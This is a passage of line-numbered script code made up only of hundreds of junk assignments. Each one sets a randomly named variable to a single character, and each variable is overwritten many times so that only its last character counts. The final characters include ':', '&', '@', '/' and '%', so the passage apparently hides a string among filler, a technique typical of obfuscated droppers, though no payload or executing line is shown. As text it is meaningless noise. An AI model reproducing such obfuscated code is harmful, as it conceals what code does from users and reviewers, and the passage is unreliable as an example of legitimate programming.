235	pdlmfh = "d";
236	pdlmfh = "e";
237	pdlmfh = "y";
238	pdlmfh = "s";
239	pdlmfh = "q";
240	pdlmfh = "s";
241	pdlmfh = "k";
242	pdlmfh = "V";
243	pdlmfh = "G";
244	pdlmfh = "i";
245	pdlmfh = "b";
246	pdlmfh = "g";
247	pdlmfh = "f";
248	pdlmfh = "u";
249	pdlmfh = "l";
250	affiuug = "m";
251	affiuug = "o";
252	affiuug = "s";
253	affiuug = "I";
254	affiuug = "-";
255	yxoncg = "h";
256	yxoncg = "u";
257	yxoncg = "o";
258	yxoncg = "I";
259	yxoncg = "v";
260	yxoncg = "x";
261	yxoncg = "d";
262	yxoncg = "F";
263	yxoncg = "Z";
264	yxoncg = "K";
265	yxoncg = "K";
266	yxoncg = "g";
267	yxoncg = "E";
268	yxoncg = "Q";
269	yxoncg = "t";
270	yxoncg = "H";
271	yxoncg = "q";
272	yxoncg = "j";
273	yxoncg = "Q";
274	yxoncg = "e";
275	yxoncg = "I";
276	yxoncg = "p";
277	yxoncg = "o";
278	yxoncg = "R";
279	yxoncg = "k";
280	twmczyhy = "e";
281	twmczyhy = "N";
282	twmczyhy = "p";
283	twmczyhy = "m";
284	twmczyhy = "q";
285	twmczyhy = "x";
286	twmczyhy = "m";
287	twmczyhy = "G";
288	twmczyhy = "r";
289	twmczyhy = "9";
290	mwjiq = "v";
291	mwjiq = "T";
292	mwjiq = "c";
293	mwjiq = "U";
294	mwjiq = "O";
295	mwjiq = "v";
296	mwjiq = "z";
297	mwjiq = "M";
298	mwjiq = "a";
299	mwjiq = "p";
300	mwjiq = "H";
301	mwjiq = "J";
302	mwjiq = "O";
303	mwjiq = "A";
304	mwjiq = "R";
305	mwjiq = "w";
306	mwjiq = "E";
307	mwjiq = "S";
308	mwjiq = "B";
309	mwjiq = "s";
310	mwjiq = "w";
311	mwjiq = "D";
312	mwjiq = "d";
313	mwjiq = "R";
314	mwjiq = "Q";
315	mwjiq = "G";
316	mwjiq = "p";
317	mwjiq = "M";
318	mwjiq = "i";
319	mwjiq = "K";
320	mwjiq = "h";
321	mwjiq = "o";
322	mwjiq = "c";
323	mwjiq = "j";
324	mwjiq = "N";
325	mwjiq = "B";
326	mwjiq = "J";
327	mwjiq = "h";
328	mwjiq = ":";
329	uctfmspuw = "g";
330	uctfmspuw = "V";
331	uctfmspuw = "p";
332	uctfmspuw = "B";
333	uctfmspuw = "B";
334	uctfmspuw = "C";
335	uctfmspuw = "j";
336	uctfmspuw = "y";
337	uctfmspuw = "n";
338	uctfmspuw = "W";
339	uctfmspuw = "T";
340	uctfmspuw = "i";
341	uctfmspuw = "B";
342	uctfmspuw = "c";
343	uctfmspuw = "K";
344	uctfmspuw = "c";
345	uctfmspuw = "X";
346	uctfmspuw = "i";
347	uctfmspuw = "y";
348	uctfmspuw = "R";
349	uctfmspuw = "W";
350	uctfmspuw = "Y";
351	uctfmspuw = "m";
352	uctfmspuw = "c";
353	uctfmspuw = "f";
354	uctfmspuw = "Q";
355	uctfmspuw = "J";
356	uctfmspuw = "S";
357	uctfmspuw = "V";
358	uctfmspuw = "u";
359	uctfmspuw = "U";
360	uctfmspuw = "t";
361	uctfmspuw = "o";
362	uctfmspuw = "&";
363	ujmrcvjvg = "D";
364	ujmrcvjvg = "A";
365	ujmrcvjvg = "e";
366	ujmrcvjvg = "A";
367	ujmrcvjvg = "e";
368	ujmrcvjvg = "V";
369	ujmrcvjvg = "m";
370	yewdk = "o";
371	yewdk = "x";
372	yewdk = "L";
373	yewdk = "j";
374	yewdk = "B";
375	yewdk = "D";
376	yewdk = "i";
377	yewdk = "b";
378	yewdk = "F";
379	yewdk = "S";
380	yewdk = "t";
381	yewdk = "V";
382	yewdk = "L";
383	yewdk = "y";
384	yewdk = "D";
385	yewdk = "W";
386	yewdk = "y";
387	yewdk = "Y";
388	yewdk = "x";
389	yewdk = "c";
390	yewdk = "M";
391	yewdk = "U";
392	yewdk = "Y";
393	yewdk = "D";
394	yewdk = "e";
395	yewdk = "O";
396	yewdk = "E";
397	yewdk = "r";
398	yewdk = "b";
399	yewdk = "Z";
400	yewdk = "D";
401	yewdk = "S";
402	yewdk = "Z";
403	yewdk = "q";
404	yewdk = "f";
405	yewdk = "5";
406	yggtf = "J";
407	yggtf = "y";
408	yggtf = "B";
409	yggtf = "k";
410	yggtf = "R";
411	yggtf = "w";
412	yggtf = "P";
413	yggtf = "Y";
414	yggtf = "c";
415	yggtf = "Y";
416	yggtf = "l";
417	yggtf = "e";
418	yggtf = "X";
419	yggtf = "S";
420	yggtf = "c";
421	yggtf = "h";
422	yggtf = "S";
423	yggtf = "S";
424	yggtf = "c";
425	yggtf = "S";
426	yggtf = "W";
427	yggtf = "S";
428	yggtf = "m";
429	yggtf = "F";
430	yggtf = "C";
431	yggtf = "j";
432	yggtf = "c";
433	ueyvit = "v";
434	ueyvit = "K";
435	ueyvit = "Z";
436	ueyvit = "B";
437	ueyvit = "B";
438	ueyvit = "p";
439	ueyvit = "K";
440	ueyvit = "j";
441	ueyvit = "f";
442	ueyvit = "N";
443	ueyvit = "N";
444	ueyvit = "r";
445	ueyvit = "g";
446	ueyvit = "y";
447	ueyvit = "s";
448	ueyvit = "p";
449	ueyvit = "b";
450	ueyvit = "t";
451	ueyvit = "B";
452	ueyvit = "B";
453	ueyvit = "v";
454	pgsruwt = "m";
455	pgsruwt = "Z";
456	pgsruwt = "t";
457	pgsruwt = "R";
458	pgsruwt = "h";
459	pgsruwt = "j";
460	pgsruwt = "W";
461	pgsruwt = "E";
462	pgsruwt = "N";
463	pgsruwt = "T";
464	pgsruwt = "B";
465	pgsruwt = "S";
466	pgsruwt = "T";
467	pgsruwt = "r";
468	pgsruwt = "s";
469	pgsruwt = "X";
470	pgsruwt = "p";
471	pgsruwt = "h";
472	pgsruwt = "G";
473	pgsruwt = "r";
474	pgsruwt = "z";
475	pgsruwt = "N";
476	pgsruwt = "D";
477	pgsruwt = "j";
478	pgsruwt = "C";
479	pgsruwt = "K";
480	pgsruwt = "d";
481	pgsruwt = "Q";
482	pgsruwt = "K";
483	pgsruwt = "d";
484	plbwgtknh = "C";
485	plbwgtknh = "J";
486	plbwgtknh = "r";
487	plbwgtknh = "L";
488	plbwgtknh = "H";
489	plbwgtknh = "h";
490	plbwgtknh = "N";
491	plbwgtknh = "K";
492	plbwgtknh = "w";
493	plbwgtknh = "h";
494	plbwgtknh = "r";
495	ojsriobs = "C";
496	ojsriobs = "b";
497	iafbliew = "g";
498	iafbliew = "r";
499	iafbliew = "p";
500	iafbliew = "l";
501	iafbliew = "t";
502	iafbliew = "U";
503	iafbliew = "U";
504	iafbliew = "c";
505	iafbliew = "A";
506	iafbliew = "K";
507	iafbliew = "3";
508	uninkj = "F";
509	uninkj = "c";
510	uninkj = "h";
511	uninkj = "u";
512	uninkj = "V";
513	uninkj = "Z";
514	uninkj = "x";
515	uninkj = "F";
516	uninkj = "g";
517	uninkj = "C";
518	uninkj = "i";
519	uninkj = "h";
520	uninkj = "G";
521	uninkj = "I";
522	uninkj = "D";
523	uninkj = "G";
524	uninkj = "l";
525	uninkj = "t";
526	uninkj = "B";
527	uninkj = "V";
528	uninkj = "b";
529	uninkj = "k";
530	uninkj = "i";
531	uninkj = "S";
532	uninkj = "E";
533	uninkj = "o";
534	uninkj = "m";
535	uninkj = "u";
536	uninkj = "S";
537	uninkj = "O";
538	uninkj = "T";
539	uninkj = "U";
540	uninkj = "H";
541	uninkj = "T";
542	uninkj = "U";
543	uninkj = "A";
544	uninkj = "F";
545	uninkj = "R";
546	uninkj = "Z";
547	uninkj = "I";
548	uninkj = "A";
549	uninkj = "K";
550	uninkj = "H";
551	uninkj = ".";
552	mkpnhncbz = "K";
553	mkpnhncbz = "b";
554	mkpnhncbz = "y";
555	mkpnhncbz = "Q";
556	mkpnhncbz = "S";
557	mkpnhncbz = "Q";
558	mkpnhncbz = "C";
559	mkpnhncbz = "y";
560	mkpnhncbz = "Q";
561	mkpnhncbz = "w";
562	mkpnhncbz = "b";
563	mkpnhncbz = "A";
564	mkpnhncbz = "Q";
565	bdjlhucwe = "R";
566	bdjlhucwe = "Y";
567	bdjlhucwe = "A";
568	bdjlhucwe = "o";
569	bdjlhucwe = "E";
570	bdjlhucwe = "r";
571	bdjlhucwe = "Z";
572	bdjlhucwe = "S";
573	bdjlhucwe = "a";
574	bdjlhucwe = "z";
575	bdjlhucwe = "T";
576	bdjlhucwe = "C";
577	bdjlhucwe = "Y";
578	bdjlhucwe = "b";
579	bdjlhucwe = "x";
580	bdjlhucwe = "r";
581	bdjlhucwe = "L";
582	bdjlhucwe = "b";
583	bdjlhucwe = "F";
584	bdjlhucwe = "W";
585	bdjlhucwe = "c";
586	bdjlhucwe = "E";
587	bdjlhucwe = "a";
588	bdjlhucwe = "P";
589	bdjlhucwe = "J";
590	bdjlhucwe = "E";
591	bdjlhucwe = "x";
592	bdjlhucwe = "z";
593	bdjlhucwe = "j";
594	bdjlhucwe = "E";
595	bdjlhucwe = "d";
596	bdjlhucwe = "q";
597	bdjlhucwe = "A";
598	bdjlhucwe = "N";
599	bdjlhucwe = "s";
600	bdjlhucwe = "l";
601	bdjlhucwe = "K";
602	bdjlhucwe = "L";
603	bdjlhucwe = "q";
604	amwmvxb = "H";
605	amwmvxb = "U";
606	amwmvxb = "U";
607	amwmvxb = "b";
608	amwmvxb = "k";
609	amwmvxb = "i";
610	amwmvxb = "R";
611	amwmvxb = "k";
612	amwmvxb = "v";
613	amwmvxb = "A";
614	amwmvxb = "R";
615	amwmvxb = "R";
616	amwmvxb = "A";
617	amwmvxb = "s";
618	amwmvxb = "O";
619	amwmvxb = "w";
620	amwmvxb = "I";
621	amwmvxb = "H";
622	amwmvxb = "M";
623	amwmvxb = "w";
624	amwmvxb = "d";
625	amwmvxb = "y";
626	amwmvxb = "Z";
627	amwmvxb = "R";
628	amwmvxb = "n";
629	amwmvxb = "M";
630	amwmvxb = "c";
631	amwmvxb = "D";
632	amwmvxb = "g";
633	amwmvxb = "y";
634	amwmvxb = "@";
635	trmter = "C";
636	trmter = "b";
637	trmter = "v";
638	trmter = "w";
639	trmter = "O";
640	trmter = "o";
641	trmter = "u";
642	trmter = "X";
643	trmter = "Q";
644	trmter = "a";
645	trmter = "t";
646	trmter = "h";
647	trmter = "o";
648	trmter = "H";
649	trmter = "A";
650	trmter = "g";
651	jhucppdbq = "k";
652	jhucppdbq = "x";
653	jhucppdbq = "n";
654	jhucppdbq = "x";
655	jhucppdbq = "s";
656	jhucppdbq = "G";
657	jhucppdbq = "m";
658	jhucppdbq = "r";
659	jhucppdbq = "p";
660	jhucppdbq = "B";
661	jhucppdbq = "h";
662	jhucppdbq = "g";
663	jhucppdbq = "a";
664	jhucppdbq = "s";
665	jhucppdbq = "d";
666	jhucppdbq = "P";
667	jhucppdbq = "a";
668	jhucppdbq = "N";
669	jhucppdbq = "F";
670	jhucppdbq = "M";
671	jhucppdbq = "S";
672	jhucppdbq = "s";
673	jhucppdbq = "C";
674	jhucppdbq = "b";
675	jhucppdbq = "T";
676	jhucppdbq = "M";
677	jhucppdbq = "d";
678	jhucppdbq = "h";
679	jhucppdbq = "p";
680	jhucppdbq = "R";
681	jhucppdbq = "\\";
682	vskcrkw = "u";
683	vskcrkw = "V";
684	vskcrkw = "D";
685	vskcrkw = "o";
686	vskcrkw = "A";
687	vskcrkw = "b";
688	vskcrkw = "L";
689	vskcrkw = "y";
690	vskcrkw = "d";
691	vskcrkw = "p";
692	vskcrkw = "f";
693	vskcrkw = "H";
694	vskcrkw = "H";
695	vskcrkw = "G";
696	vskcrkw = "G";
697	vskcrkw = "L";
698	mebkpsjbf = "p";
699	mebkpsjbf = "D";
700	mebkpsjbf = "o";
701	mebkpsjbf = "l";
702	mebkpsjbf = "R";
703	mebkpsjbf = "r";
704	mebkpsjbf = "Q";
705	mebkpsjbf = "X";
706	mebkpsjbf = "a";
707	mebkpsjbf = "T";
708	dpepdd = "K";
709	dpepdd = "v";
710	dpepdd = "R";
711	dpepdd = "F";
712	dpepdd = "c";
713	dpepdd = "B";
714	dpepdd = "J";
715	dpepdd = "F";
716	dpepdd = "j";
717	dpepdd = "d";
718	dpepdd = "K";
719	yameqpvpa = "A";
720	yameqpvpa = "g";
721	yameqpvpa = "S";
722	yameqpvpa = "s";
723	yameqpvpa = "S";
724	yameqpvpa = "F";
725	yameqpvpa = "e";
726	yameqpvpa = "d";
727	yameqpvpa = "w";
728	yameqpvpa = "W";
729	yameqpvpa = "l";
730	yameqpvpa = "B";
731	yameqpvpa = "K";
732	yameqpvpa = "R";
733	yameqpvpa = "y";
734	yameqpvpa = "m";
735	yameqpvpa = "K";
736	yameqpvpa = "n";
737	icdchc = "H";
738	icdchc = "p";
739	icdchc = "N";
740	icdchc = "s";
741	icdchc = "O";
742	icdchc = "P";
743	oazmi = "D";
744	oazmi = "L";
745	oazmi = "z";
746	oazmi = "h";
747	oazmi = "e";
748	oazmi = "y";
749	oazmi = "a";
750	oazmi = "p";
751	oazmi = "F";
752	oazmi = "D";
753	oazmi = "c";
754	oazmi = "R";
755	oazmi = "p";
756	oazmi = "a";
757	oazmi = "C";
758	oazmi = "T";
759	oazmi = "C";
760	oazmi = "l";
761	oazmi = "q";
762	oazmi = "I";
763	oazmi = "G";
764	oazmi = "m";
765	oazmi = "G";
766	oazmi = "p";
767	oazmi = "Z";
768	oazmi = "U";
769	oazmi = "H";
770	oazmi = "x";
771	oazmi = "b";
772	oazmi = "e";
773	oazmi = "V";
774	oazmi = "r";
775	oazmi = "J";
776	oazmi = "H";
777	oazmi = "Z";
778	oazmi = "c";
779	oazmi = "S";
780	oazmi = "E";
781	oazmi = "X";
782	oazmi = "x";
783	oazmi = "M";
784	oazmi = "P";
785	oazmi = "Y";
786	oazmi = "w";
787	oazmi = "o";
788	cftidvu = "I";
789	cftidvu = "x";
790	cftidvu = "c";
791	cftidvu = "Y";
792	cftidvu = "I";
793	cftidvu = "F";
794	cftidvu = "L";
795	cftidvu = "f";
796	cftidvu = "s";
797	cftidvu = "F";
798	cftidvu = "k";
799	cftidvu = "R";
800	cftidvu = "j";
801	cftidvu = "W";
802	cftidvu = "Q";
803	cftidvu = "L";
804	cftidvu = "H";
805	cftidvu = "L";
806	cftidvu = "h";
807	cftidvu = "U";
808	cftidvu = "W";
809	cftidvu = "K";
810	cftidvu = "L";
811	cftidvu = "r";
812	cftidvu = "h";
813	cftidvu = "Z";
814	cftidvu = "I";
815	cftidvu = "p";
816	cftidvu = "J";
817	cftidvu = "O";
818	cftidvu = "g";
819	cftidvu = "G";
820	cftidvu = "C";
821	cftidvu = "N";
822	cftidvu = "u";
823	wzwqkdbjn = "R";
824	wzwqkdbjn = "E";
825	cgdjx = "g";
826	cgdjx = "z";
827	cgdjx = "a";
828	cgdjx = "d";
829	cgdjx = "N";
830	cgdjx = "d";
831	cgdjx = "a";
832	cgdjx = "z";
833	cgdjx = "j";
834	cgdjx = "G";
835	cgdjx = "W";
836	cgdjx = "n";
837	cgdjx = "A";
838	cgdjx = "k";
839	cgdjx = "u";
840	cgdjx = "I";
841	cgdjx = "R";
842	cgdjx = "I";
843	cgdjx = "c";
844	cgdjx = "t";
845	cgdjx = "W";
846	cgdjx = "R";
847	cgdjx = "I";
848	cgdjx = "w";
849	cgdjx = "G";
850	cgdjx = "x";
851	cgdjx = "J";
852	cgdjx = "Y";
853	cgdjx = "e";
854	cgdjx = "B";
855	cgdjx = "S";
856	cgdjx = "Q";
857	cgdjx = "N";
858	cgdjx = "c";
859	cgdjx = "R";
860	cgdjx = "S";
861	snfpaq = "P";
862	snfpaq = "k";
863	snfpaq = "U";
864	snfpaq = "c";
865	snfpaq = "J";
866	snfpaq = "L";
867	snfpaq = "B";
868	snfpaq = "w";
869	snfpaq = "I";
870	snfpaq = "f";
871	snfpaq = "z";
872	snfpaq = "D";
873	snfpaq = "P";
874	snfpaq = "r";
875	snfpaq = "R";
876	snfpaq = "H";
877	snfpaq = "j";
878	snfpaq = "U";
879	snfpaq = "p";
880	snfpaq = "S";
881	snfpaq = "W";
882	snfpaq = "n";
883	snfpaq = "V";
884	snfpaq = "e";
885	yrvhtuggh = "x";
886	yrvhtuggh = "%";
887	ztyowsh = "Y";
888	ztyowsh = "I";
889	ztyowsh = "I";
890	ztyowsh = "T";
891	ztyowsh = "D";
892	ztyowsh = "v";
893	ztyowsh = "U";
894	ztyowsh = "S";
895	ztyowsh = "t";
896	ztyowsh = "Y";
897	ztyowsh = "r";
898	ztyowsh = "c";
899	ztyowsh = "O";
900	ztyowsh = "X";
901	ztyowsh = "V";
902	ztyowsh = "X";
903	ztyowsh = "T";
904	ztyowsh = "L";
905	ztyowsh = "R";
906	ztyowsh = "x";
907	ztyowsh = "g";
908	ztyowsh = "U";
909	ztyowsh = "I";
910	ztyowsh = "t";
911	ztyowsh = "H";
912	ztyowsh = "e";
913	ztyowsh = "F";
914	ztyowsh = "C";
915	ztyowsh = "j";
916	ztyowsh = "I";
917	grgst = "Y";
918	grgst = "s";
919	grgst = "T";
920	grgst = "b";
921	grgst = "l";
922	grgst = "L";
923	grgst = "C";
924	grgst = "Y";
925	grgst = "k";
926	grgst = "e";
927	grgst = "v";
928	grgst = "t";
929	grgst = "d";
930	grgst = "H";
931	grgst = "q";
932	grgst = "Q";
933	grgst = "w";
934	grgst = "v";
935	grgst = "C";
936	grgst = "4";
937	cljqsv = "b";
938	cljqsv = "t";
939	cljqsv = "o";
940	cljqsv = "p";
941	cljqsv = "P";
942	cljqsv = "w";
943	cljqsv = "L";
944	cljqsv = "S";
945	cljqsv = "B";
946	cljqsv = "r";
947	cljqsv = "p";
948	cljqsv = "K";
949	cljqsv = "i";
950	cljqsv = "y";
951	cljqsv = "l";
952	cljqsv = "K";
953	cljqsv = "t";
954	cljqsv = "u";
955	cljqsv = "x";
956	cljqsv = "x";
957	cljqsv = "X";
958	cljqsv = "J";
959	cljqsv = "t";
960	cljqsv = "X";
961	cljqsv = "j";
962	cljqsv = "n";
963	cljqsv = "d";
964	cljqsv = "e";
965	cljqsv = "R";
966	cljqsv = "I";
967	cljqsv = "J";
968	cljqsv = "y";
969	cljqsv = "P";
970	cljqsv = "S";
971	cljqsv = "C";
972	cljqsv = "R";
973	cljqsv = "m";
974	cljqsv = "B";
975	cljqsv = "n";
976	cljqsv = "F";
977	rmkedfgqm = "L";
978	rmkedfgqm = "I";
979	rmkedfgqm = "H";
980	rmkedfgqm = "S";
981	rmkedfgqm = "R";
982	rmkedfgqm = "c";
983	rmkedfgqm = "J";
984	rmkedfgqm = "D";
985	rmkedfgqm = "Q";
986	rmkedfgqm = "P";
987	rmkedfgqm = "d";
988	rmkedfgqm = "U";
989	rmkedfgqm = "I";
990	rmkedfgqm = "b";
991	rmkedfgqm = "c";
992	rmkedfgqm = "z";
993	rmkedfgqm = "p";
994	rmkedfgqm = "h";
995	rmkedfgqm = "v";
996	rmkedfgqm = "P";
997	rmkedfgqm = "w";
998	rmkedfgqm = "O";
999	rmkedfgqm = "B";
1000	rmkedfgqm = "x";
1001	rmkedfgqm = "J";
1002	rmkedfgqm = "Z";
1003	rmkedfgqm = "N";
1004	rmkedfgqm = "E";
1005	rmkedfgqm = "Z";
1006	rmkedfgqm = "T";
1007	rmkedfgqm = "n";
1008	rmkedfgqm = "r";
1009	rmkedfgqm = "0";
1010	kqnytfs = "I";
1011	kqnytfs = "P";
1012	kqnytfs = "Y";
1013	kqnytfs = "c";
1014	kqnytfs = "w";
1015	kqnytfs = "V";
1016	kqnytfs = "Z";
1017	kqnytfs = "L";
1018	kqnytfs = "T";
1019	kqnytfs = "g";
1020	kqnytfs = "x";
1021	kqnytfs = "D";
1022	kqnytfs = "c";
1023	kqnytfs = "Q";
1024	kqnytfs = "n";
1025	kqnytfs = "\"";
1026	gekzpdv = "g";
1027	gekzpdv = "e";
1028	gekzpdv = "y";
1029	gekzpdv = "t";
1030	gekzpdv = "W";
1031	gekzpdv = "h";
1032	gekzpdv = "d";
1033	gekzpdv = "f";
1034	gekzpdv = "p";
1035	gekzpdv = "E";
1036	gekzpdv = "w";
1037	gekzpdv = "d";
1038	gekzpdv = "c";
1039	gekzpdv = "e";
1040	gekzpdv = "n";
1041	gekzpdv = "Y";
1042	gekzpdv = "Q";
1043	gekzpdv = "X";
1044	gekzpdv = "N";
1045	gekzpdv = "i";
1046	jklrlvggd = "w";
1047	jklrlvggd = "I";
1048	jklrlvggd = "X";
1049	jklrlvggd = "a";
1050	jklrlvggd = "D";
1051	jklrlvggd = "N";
1052	jklrlvggd = "R";
1053	jklrlvggd = "I";
1054	jklrlvggd = "e";
1055	jklrlvggd = "i";
1056	jklrlvggd = "a";
1057	jklrlvggd = "k";
1058	jklrlvggd = "h";
1059	jklrlvggd = "Q";
1060	jklrlvggd = "l";
1061	jklrlvggd = "H";
1062	jklrlvggd = "y";
1063	jklrlvggd = "S";
1064	jklrlvggd = "o";
1065	jklrlvggd = "B";
1066	jklrlvggd = "o";
1067	jklrlvggd = "g";
1068	jklrlvggd = "C";
1069	jklrlvggd = "q";
1070	jklrlvggd = "u";
1071	jklrlvggd = "s";
1072	jklrlvggd = "Y";
1073	hafqk = "g";
1074	hafqk = "d";
1075	hafqk = "b";
1076	hafqk = "M";
1077	hafqk = "j";
1078	hafqk = "T";
1079	hafqk = "M";
1080	hafqk = "T";
1081	hafqk = "A";
1082	hafqk = "A";
1083	hafqk = "i";
1084	hafqk = "H";
1085	hafqk = "Y";
1086	hafqk = "D";
1087	hafqk = "g";
1088	hafqk = "T";
1089	hafqk = "k";
1090	hafqk = "A";
1091	hafqk = "k";
1092	hafqk = "O";
1093	hafqk = "F";
1094	hafqk = "G";
1095	hafqk = "U";
1096	hafqk = "p";
1097	hafqk = "C";
1098	hafqk = "t";
1099	hafqk = "a";
1100	hafqk = "M";
1101	hafqk = "U";
1102	bglhilh = "d";
1103	bglhilh = "u";
1104	bglhilh = "S";
1105	bglhilh = "p";
1106	bglhilh = "W";
1107	bglhilh = "c";
1108	bglhilh = "c";
1109	bglhilh = "x";
1110	bglhilh = "D";
1111	bglhilh = "X";
1112	bglhilh = "X";
1113	bglhilh = "P";
1114	bglhilh = "e";
1115	bglhilh = "L";
1116	bglhilh = "i";
1117	bglhilh = "i";
1118	bglhilh = "H";
1119	bglhilh = "B";
1120	bglhilh = "x";
1121	bglhilh = "F";
1122	bglhilh = "E";
1123	bglhilh = "J";
1124	bglhilh = "v";
1125	bglhilh = "f";
1126	bglhilh = "J";
1127	bglhilh = "a";
1128	bglhilh = "e";
1129	bglhilh = "Z";
1130	bglhilh = "n";
1131	bglhilh = "H";
1132	bglhilh = "D";
1133	bglhilh = "u";
1134	bglhilh = "U";
1135	bglhilh = "Y";
1136	bglhilh = "A";
1137	bglhilh = "m";
1138	bglhilh = "l";
1139	bglhilh = "P";
1140	bglhilh = "h";
1141	emyvks = "S";
1142	emyvks = "W";
1143	bouda = "F";
1144	bouda = "i";
1145	bouda = "b";
1146	bouda = "J";
1147	bouda = "d";
1148	bouda = "S";
1149	bouda = "c";
1150	bouda = "j";
1151	bouda = "T";
1152	bouda = "C";
1153	bouda = "I";
1154	bouda = "J";
1155	bouda = "J";
1156	bouda = "q";
1157	bouda = "b";
1158	bouda = "k";
1159	bouda = "k";
1160	bouda = "L";
1161	bouda = "H";
1162	bouda = "P";
1163	bouda = "z";
1164	bouda = "L";
1165	bouda = "R";
1166	bouda = "i";
1167	bouda = "z";
1168	bouda = "z";
1169	bouda = "B";
1170	bouda = "a";
1171	bouda = "I";
1172	bouda = "c";
1173	bouda = "m";
1174	bouda = "J";
1175	bouda = "k";
1176	bouda = "A";
1177	bouda = "v";
1178	bouda = "J";
1179	bouda = "f";
1180	bouda = "R";
1181	wsouyvsc = "B";
1182	wsouyvsc = "o";
1183	wsouyvsc = "Z";
1184	wsouyvsc = "u";
1185	wsouyvsc = "o";
1186	wsouyvsc = "A";
1187	wsouyvsc = "a";
1188	wsouyvsc = "Z";
1189	wsouyvsc = "Z";
1190	wsouyvsc = "l";
1191	wsouyvsc = "X";
1192	wsouyvsc = "B";
1193	wsouyvsc = "E";
1194	wsouyvsc = "k";
1195	wsouyvsc = "h";
1196	wsouyvsc = "Z";
1197	wsouyvsc = "C";
1198	wsouyvsc = "s";
1199	wsouyvsc = "s";
1200	wsouyvsc = "B";
1201	wsouyvsc = "1";
1202	mjdhb = "s";
1203	mjdhb = "i";
1204	mjdhb = "h";
1205	mjdhb = "n";
1206	mjdhb = "m";
1207	mjdhb = "X";
1208	mjdhb = "F";
1209	mjdhb = "S";
1210	mjdhb = "b";
1211	mjdhb = "q";
1212	mjdhb = "C";
1213	mjdhb = "Y";
1214	mjdhb = "O";
1215	mjdhb = "S";
1216	mjdhb = "w";
1217	mjdhb = "c";
1218	mjdhb = "Q";
1219	mjdhb = "I";
1220	mjdhb = "m";
1221	mjdhb = "b";
1222	mjdhb = "j";
1223	uuzck = "K";
1224	uuzck = "r";
1225	uuzck = "C";
1226	uuzck = " ";
1227	eqdqb = "g";
1228	eqdqb = "p";
1229	eqdqb = "w";
1230	eqdqb = "w";
1231	eqdqb = "m";
1232	eqdqb = "R";
1233	eqdqb = "T";
1234	eqdqb = "u";
1235	eqdqb = "h";
1236	eqdqb = "f";
1237	eqdqb = "m";
1238	eqdqb = "s";
1239	eqdqb = "x";
1240	eqdqb = "K";
1241	eqdqb = "Q";
1242	eqdqb = "q";
1243	eqdqb = "v";
1244	eqdqb = "a";
1245	eqdqb = "U";
1246	eqdqb = "x";
1247	eqdqb = "I";
1248	eqdqb = "W";
1249	eqdqb = "b";
1250	eqdqb = "x";
1251	eqdqb = "G";
1252	eqdqb = "l";
1253	eqdqb = "d";
1254	eqdqb = "I";
1255	eqdqb = "t";
1256	eqdqb = "l";
1257	eqdqb = "r";
1258	eqdqb = "i";
1259	eqdqb = "q";
1260	eqdqb = "l";
1261	eqdqb = "D";
1262	eqdqb = "W";
1263	eqdqb = "T";
1264	eqdqb = "k";
1265	eqdqb = "B";
1266	eqdqb = "i";
1267	eqdqb = "w";
1268	hriwjwek = "r";
1269	hriwjwek = "V";
1270	hriwjwek = "J";
1271	hriwjwek = "W";
1272	hriwjwek = "x";
1273	hriwjwek = "Z";
1274	hriwjwek = "g";
1275	hriwjwek = "Y";
1276	hriwjwek = "I";
1277	hriwjwek = "H";
1278	hriwjwek = "m";
1279	hriwjwek = "d";
1280	hriwjwek = "U";
1281	hriwjwek = "p";
1282	hriwjwek = "p";
1283	hriwjwek = "f";
1284	hriwjwek = "b";
1285	hriwjwek = "f";
1286	hriwjwek = "q";
1287	hriwjwek = "H";
1288	isprlwv = "m";
1289	isprlwv = "h";
1290	isprlwv = "b";
1291	isprlwv = "Q";
1292	isprlwv = "g";
1293	isprlwv = "H";
1294	isprlwv = "H";
1295	isprlwv = "g";
1296	isprlwv = "C";
1297	isprlwv = "l";
1298	isprlwv = "e";
1299	isprlwv = "K";
1300	isprlwv = "m";
1301	isprlwv = "Q";
1302	isprlwv = "G";
1303	isprlwv = "g";
1304	isprlwv = "I";
1305	isprlwv = "B";
1306	isprlwv = "Z";
1307	isprlwv = "a";
1308	isprlwv = "/";
1309	vcxtdros = "I";
1310	vcxtdros = "B";
1311	vcxtdros = "q";
1312	vcxtdros = "W";
1313	vcxtdros = "a";
1314	vcxtdros = "k";
1315	vcxtdros = "G";
1316	vcxtdros = "i";
1317	vcxtdros = "O";
1318	vcxtdros = "R";
1319	vcxtdros = "W";
1320	vcxtdros = "Q";
1321	vcxtdros = "G";
1322	vcxtdros = "Q";
1323	vcxtdros = "A";
1324	vcxtdros = "k";
1325	vcxtdros = "l";
1326	vcxtdros = "L";
1327	vcxtdros = "r";
1328	vcxtdros = "g";
1329	vcxtdros = "e";
1330	vcxtdros = "V";
1331	vcxtdros = "u";
1332	vcxtdros = "y";
1333	vcxtdros = "x";
1334	vcxtdros = "l";
1335	vcxtdros = "c";
1336	vcxtdros = "X";
1337	vcxtdros = "y";
1338	vcxtdros = "a";
1339	lmrrvmuw = "m";
1340	lmrrvmuw = "H";
1341	lmrrvmuw = "W";
1342	lmrrvmuw = "A";
1343	lmrrvmuw = "h";
1344	lmrrvmuw = "H";
1345	lmrrvmuw = "p";
1346	lmrrvmuw = "c";
1347	lmrrvmuw = "c";
1348	lmrrvmuw = "H";
1349	lmrrvmuw = "u";
1350	lmrrvmuw = "n";
1351	lmrrvmuw = "n";
1352	lmrrvmuw = "X";
1353	lmrrvmuw = "R";
1354	lmrrvmuw = "M";
1355	lmrrvmuw = "O";
1356	lmrrvmuw = "u";
1357	lmrrvmuw = "x";
1358	lmrrvmuw = "b";
1359	lmrrvmuw = "2";
1360	rwtmp = "B";
1361	rwtmp = "Y";
1362	rwtmp = "C";
1363	rwtmp = "U";
1364	rwtmp = "Z";
1365	rwtmp = "e";
1366	rwtmp = "k";
1367	rwtmp = "Y";
1368	rwtmp = "L";
1369	rwtmp = "L";
1370	rwtmp = "E";
1371	rwtmp = "q";
1372	rwtmp = "f";
1373	ticxzomww = "q";
1374	ticxzomww = "W";
1375	ticxzomww = "h";
1376	ticxzomww = "H";
1377	ticxzomww = "x";
1378	ticxzomww = "V";
1379	ticxzomww = "t";
1380	ticxzomww = "Q";
1381	ticxzomww = "B";
1382	ticxzomww = "z";
1383	ticxzomww = "W";
1384	ticxzomww = "c";
1385	ticxzomww = "q";
1386	ticxzomww = "l";
1387	ticxzomww = "d";
1388	ticxzomww = "I";
1389	ticxzomww = "R";
1390	ticxzomww = "P";
1391	ticxzomww = "W";
1392	ticxzomww = "n";
1393	ticxzomww = "M";
1394	ticxzomww = "m";
1395	ticxzomww = "V";
1396	ticxzomww = "r";
1397	ticxzomww = "E";
